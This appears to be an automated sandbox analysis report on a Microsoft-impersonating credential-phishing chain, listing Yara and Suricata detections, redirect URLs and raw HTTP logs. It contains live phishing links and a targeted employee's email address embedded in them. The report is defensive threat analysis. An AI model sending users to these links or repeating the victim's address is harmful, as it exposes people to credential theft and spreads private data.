Edit tour

Windows Analysis Report
https://cnrsys.com/.jhg/#5kZtQ3bfand0TbubQ3b5kZtingQ3br07xhH05Q3brbigQ3brd0TR3wH05nZ1

Overview

General Information

Sample URL:	https://cnrsys.com/.jhg/#5kZtQ3bfand0TbubQ3b5kZtingQ3br07xhH05Q3brbigQ3brd0TR3wH05nZ1
Analysis ID:	1520327
Infos:

Detection

HTMLPhisher

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Suricata IDS alerts for network traffic

Yara detected HtmlPhish29

Yara detected HtmlPhish54

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

Detected hidden input values containing email addresses (often used in phishing pages)

Form action URLs do not match main URL

Found iframes

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML title does not match URL

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64

chrome.exe (PID: 1124 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6544 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 --field-trial-handle=1980,i,1171109190669764174,17585143211424108510,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5028 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://cnrsys.com/.jhg/#5kZtQ3bfand0TbubQ3b5kZtingQ3br07xhH05Q3brbigQ3brd0TR3wH05nZ1" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
10.24.id.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
4.0.pages.csv	JoeSecurity_HtmlPhish_29	Yara detected HtmlPhish_29	Joe Security
10.3.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security

Suricata Signatures

ETPRO PHISHING JS/PsyduckPockeball Payload Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T08:18:46.030460+0200	2857090	1	Successful Credential Theft Detected	206.206.125.198	443	192.168.2.5	49751	TCP

Source: https://69cde8a9-b98cbfac.signform.us/adfs/ls/?login_hint=stefan.bubestinger%40hoerbiger.com&client-request-id=4c278519-17f3-4322-9523-e7d2bea4058f&username=stefan.bubestinger%40hoerbiger.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=estsredirect%3d2%26estsrequest%3drQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAQkW9V9PosrOU9Vfn5p3xLW_lWMyoSN0L_AyPiCkXESk0JxSWpaYp5eUmlSanFJZl56apFDRn5qUVImkAVSeYtJ0L8o3TMlvNgtNSW1KLEkMz_vETNBbRdYBF6x8BgwW3FwcAkwSDAoMPxgYVzECnTvenPxhy56k30WVWztXuFym-EUq76pSaJxoYtPvllOZWlukIulZ3FWoqV5lF-2QVJ2kIV5WJV2bphpQaFTaLGFraGV4QQ2oQlsTKfYGD6wMXawM8xiZzjAyXiAl-EH3_N3zyYdub79nccGAYYHAgwA0#

LLM: Score: 9 Reasons: The brand 'HOERBIGER' is known and has an official domain 'hoerbiger.com'., The provided URL '69cde8a9-b98cbfac.signform.us' does not match the legitimate domain 'hoerbiger.com'., The URL contains suspicious elements such as a random string and an unusual domain extension 'signform.us'., The use of a subdomain with a random string is a common tactic in phishing attempts., The input fields requesting a password and sign-in credentials are typical targets for phishing. DOM: 12.4.pages.csv

Yara detected HtmlPhish29

Source: Yara match

File source: 4.0.pages.csv, type: HTML

Yara detected HtmlPhish54

Source: Yara match	File source: 10.24.id.script.csv, type: HTML
Source: Yara match	File source: 10.3.pages.csv, type: HTML

Phishing site detected (based on image similarity)

Source: https://docu8ign.web.app/5kZtQ3bfand0TbubQ3b5kZtingQ3br07xhH05Q3brbigQ3brd0TR3wH05nZ1#40444/docu8ign.web.app/user/settings/notification-4e0rr70db9ec/oauth2/_3TUE34aDfFZ4KFYPT2LS/redirecting_to_organisation

Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Matcher: Template: microsoft matched

HTTP Parser: stefan.bubestinger@hoerbiger.com

HTTP Parser: Form action: https://login.microsoftonline.com/common/login web microsoftonline

HTTP Parser: Iframe src: https://login.live.com/Me.htm?v=3

Source: https://docu8ign.web.app/5kZtQ3bfand0TbubQ3b5kZtingQ3br07xhH05Q3brbigQ3brd0TR3wH05nZ1#40444/docu8ign.web.app/user/settings/notification-4e0rr70db9ec/oauth2/_3TUE34aDfFZ4KFYPT2LS/redirecting_to_organisation	HTTP Parser: Number of links: 0
Source: https://69cde8a9-b98cbfac.signform.us/adfs/ls/?login_hint=stefan.bubestinger%40hoerbiger.com&client-request-id=4c278519-17f3-4322-9523-e7d2bea4058f&username=stefan.bubestinger%40hoerbiger.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=estsredirect%3d2%26estsrequest%3drQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAQkW9V9PosrOU9Vfn5p3xLW_lWMyoSN0L_AyPiCkXESk0JxSWpaYp5eUmlSanFJZl56apFDRn5qUVImkAVSeYtJ0L8o3TMlvNgtNSW1KLEkMz_vETNBbRdYBF6x8BgwW3FwcAkwSDAoMPxgYVzECnTvenPxhy56k30WVWztXuFym-EUq76pSaJxoYtPvllOZWlukIulZ3FWoqV5lF-2QVJ2kIV5WJV2bphpQaFTaLGFraGV4QQ2oQlsTKfYGD6wMXawM8xiZzjAyXiAl-EH3_N3zyYdub79nccGAYYHAgwA0#	HTTP Parser: Number of links: 0

Source: https://accounts.signform.us/?username=stefan.bubestinger@hoerbiger.com#/common/oauth2/authorize?client_id=0.45184072966307-0ff1-0.062128664488964&auth=1-0.95789965379885

HTTP Parser: Base64 decoded: a[href="http://www.salidzini.lv/"][style="display: block; width: 88px; height: 31px; overflow: hidden; position: relative;"]

HTTP Parser: Title: Sign in to your account does not match URL

HTTP Parser: <input type="password" .../> found

Source: https://accounts.signform.us/?username=stefan.bubestinger@hoerbiger.com#/common/oauth2/authorize?client_id=0.45184072966307-0ff1-0.062128664488964&auth=1-0.95789965379885	HTTP Parser: No favicon
Source: https://69cde8a9-b98cbfac.signform.us/adfs/ls/?login_hint=stefan.bubestinger%40hoerbiger.com&client-request-id=4c278519-17f3-4322-9523-e7d2bea4058f&username=stefan.bubestinger%40hoerbiger.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=estsredirect%3d2%26estsrequest%3drQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAQkW9V9PosrOU9Vfn5p3xLW_lWMyoSN0L_AyPiCkXESk0JxSWpaYp5eUmlSanFJZl56apFDRn5qUVImkAVSeYtJ0L8o3TMlvNgtNSW1KLEkMz_vETNBbRdYBF6x8BgwW3FwcAkwSDAoMPxgYVzECnTvenPxhy56k30WVWztXuFym-EUq76pSaJxoYtPvllOZWlukIulZ3FWoqV5lF-2QVJ2kIV5WJV2bphpQaFTaLGFraGV4QQ2oQlsTKfYGD6wMXawM8xiZzjAyXiAl-EH3_N3zyYdub79nccGAYYHAgwA0#	HTTP Parser: No favicon

Source: https://docu8ign.web.app/5kZtQ3bfand0TbubQ3b5kZtingQ3br07xhH05Q3brbigQ3brd0TR3wH05nZ1#40444/docu8ign.web.app/user/settings/notification-4e0rr70db9ec/oauth2/_3TUE34aDfFZ4KFYPT2LS/redirecting_to_organisation	HTTP Parser: No <meta name="author".. found
Source: https://69cde8a9-b98cbfac.signform.us/adfs/ls/?login_hint=stefan.bubestinger%40hoerbiger.com&client-request-id=4c278519-17f3-4322-9523-e7d2bea4058f&username=stefan.bubestinger%40hoerbiger.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=estsredirect%3d2%26estsrequest%3drQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAQkW9V9PosrOU9Vfn5p3xLW_lWMyoSN0L_AyPiCkXESk0JxSWpaYp5eUmlSanFJZl56apFDRn5qUVImkAVSeYtJ0L8o3TMlvNgtNSW1KLEkMz_vETNBbRdYBF6x8BgwW3FwcAkwSDAoMPxgYVzECnTvenPxhy56k30WVWztXuFym-EUq76pSaJxoYtPvllOZWlukIulZ3FWoqV5lF-2QVJ2kIV5WJV2bphpQaFTaLGFraGV4QQ2oQlsTKfYGD6wMXawM8xiZzjAyXiAl-EH3_N3zyYdub79nccGAYYHAgwA0#	HTTP Parser: No <meta name="author".. found

Source: https://docu8ign.web.app/5kZtQ3bfand0TbubQ3b5kZtingQ3br07xhH05Q3brbigQ3brd0TR3wH05nZ1#40444/docu8ign.web.app/user/settings/notification-4e0rr70db9ec/oauth2/_3TUE34aDfFZ4KFYPT2LS/redirecting_to_organisation	HTTP Parser: No <meta name="copyright".. found
Source: https://69cde8a9-b98cbfac.signform.us/adfs/ls/?login_hint=stefan.bubestinger%40hoerbiger.com&client-request-id=4c278519-17f3-4322-9523-e7d2bea4058f&username=stefan.bubestinger%40hoerbiger.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=estsredirect%3d2%26estsrequest%3drQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAQkW9V9PosrOU9Vfn5p3xLW_lWMyoSN0L_AyPiCkXESk0JxSWpaYp5eUmlSanFJZl56apFDRn5qUVImkAVSeYtJ0L8o3TMlvNgtNSW1KLEkMz_vETNBbRdYBF6x8BgwW3FwcAkwSDAoMPxgYVzECnTvenPxhy56k30WVWztXuFym-EUq76pSaJxoYtPvllOZWlukIulZ3FWoqV5lF-2QVJ2kIV5WJV2bphpQaFTaLGFraGV4QQ2oQlsTKfYGD6wMXawM8xiZzjAyXiAl-EH3_N3zyYdub79nccGAYYHAgwA0#	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49729 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2857090 - Severity 1 - ETPRO PHISHING JS/PsyduckPockeball Payload Inbound : 206.206.125.198:443 -> 192.168.2.5:49751

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /.jhg/ HTTP/1.1Host: cnrsys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/scripts/jsd/main.js HTTP/1.1Host: cnrsys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: McbEYet2v09v_3mL4sQI2byZSN8=yvHly5o5fyP3h84K6G_T2AUi0gk; Hf0Pjp-DSxE9Av575dQ0UtIZPm4=1727417913; otTRaleSHwO5ofIElCiiijhfVFk=1727504313; meWWe2_espbdrxvUJHYxXvRB2Uo=CM76pA-ZlAOqg04ulzzxvwGM4_U; ZuEkyrklGF1CBRt5A7qtYcXb9O4=cRrl2AzWkJYyEFavDJ0CEiHqe8Y
Source: global traffic	HTTP traffic detected: GET /.jhg/ HTTP/1.1Host: cnrsys.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://cnrsys.com/.jhg/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: McbEYet2v09v_3mL4sQI2byZSN8=yvHly5o5fyP3h84K6G_T2AUi0gk; Hf0Pjp-DSxE9Av575dQ0UtIZPm4=1727417913; otTRaleSHwO5ofIElCiiijhfVFk=1727504313; meWWe2_espbdrxvUJHYxXvRB2Uo=CM76pA-ZlAOqg04ulzzxvwGM4_U; ZuEkyrklGF1CBRt5A7qtYcXb9O4=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; zEnEuj91S7R0AJxSrRV_wCsAUQA=1727417915; S-f7HVeKw3jZHc7j-xrPP51lHEE=1727504315; ZDbk1gXpcq4Sa0Y9D2ZondlRw74=xSwK5DLtLfziIvBBNjwsLzS6sts
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/scripts/jsd/ec4b873d446c/main.js? HTTP/1.1Host: cnrsys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: McbEYet2v09v_3mL4sQI2byZSN8=yvHly5o5fyP3h84K6G_T2AUi0gk; Hf0Pjp-DSxE9Av575dQ0UtIZPm4=1727417913; otTRaleSHwO5ofIElCiiijhfVFk=1727504313; meWWe2_espbdrxvUJHYxXvRB2Uo=CM76pA-ZlAOqg04ulzzxvwGM4_U; ZuEkyrklGF1CBRt5A7qtYcXb9O4=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; zEnEuj91S7R0AJxSrRV_wCsAUQA=1727417915; S-f7HVeKw3jZHc7j-xrPP51lHEE=1727504315; ZDbk1gXpcq4Sa0Y9D2ZondlRw74=xSwK5DLtLfziIvBBNjwsLzS6sts
Source: global traffic	HTTP traffic detected: GET /5kZtQ3bfand0TbubQ3b5kZtingQ3br07xhH05Q3brbigQ3brd0TR3wH05nZ1 HTTP/1.1Host: docu8ign.web.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://cnrsys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/oneDs_472fa3a12b65cf387ccd.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://docu8ign.web.app/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_12dabd9245715d165757.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://docu8ign.web.app/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/converged.v2.login.min_kfhrfyfy-sm2tmkm5ficcw2.css HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://docu8ign.web.appsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://docu8ign.web.app/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_a6PeIgafSneuouox-qU5OA2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://docu8ign.web.appsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://docu8ign.web.app/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en-gb.min_-hjcgqxfzfu0cwzblacdqq2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://docu8ign.web.appsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://docu8ign.web.app/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/scripts/jsd/ec4b873d446c/main.js? HTTP/1.1Host: cnrsys.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: McbEYet2v09v_3mL4sQI2byZSN8=yvHly5o5fyP3h84K6G_T2AUi0gk; Hf0Pjp-DSxE9Av575dQ0UtIZPm4=1727417913; otTRaleSHwO5ofIElCiiijhfVFk=1727504313; meWWe2_espbdrxvUJHYxXvRB2Uo=CM76pA-ZlAOqg04ulzzxvwGM4_U; ZuEkyrklGF1CBRt5A7qtYcXb9O4=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; zEnEuj91S7R0AJxSrRV_wCsAUQA=1727417915; S-f7HVeKw3jZHc7j-xrPP51lHEE=1727504315; ZDbk1gXpcq4Sa0Y9D2ZondlRw74=xSwK5DLtLfziIvBBNjwsLzS6sts
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/jsd/r/8c99609c4fe34276 HTTP/1.1Host: cnrsys.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: McbEYet2v09v_3mL4sQI2byZSN8=yvHly5o5fyP3h84K6G_T2AUi0gk; Hf0Pjp-DSxE9Av575dQ0UtIZPm4=1727417913; otTRaleSHwO5ofIElCiiijhfVFk=1727504313; meWWe2_espbdrxvUJHYxXvRB2Uo=CM76pA-ZlAOqg04ulzzxvwGM4_U; ZuEkyrklGF1CBRt5A7qtYcXb9O4=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; zEnEuj91S7R0AJxSrRV_wCsAUQA=1727417915; S-f7HVeKw3jZHc7j-xrPP51lHEE=1727504315; ZDbk1gXpcq4Sa0Y9D2ZondlRw74=xSwK5DLtLfziIvBBNjwsLzS6sts
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_12dabd9245715d165757.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://docu8ign.web.app/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en-gb.min_-hjcgqxfzfu0cwzblacdqq2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://docu8ign.web.app/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/oneDs_472fa3a12b65cf387ccd.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
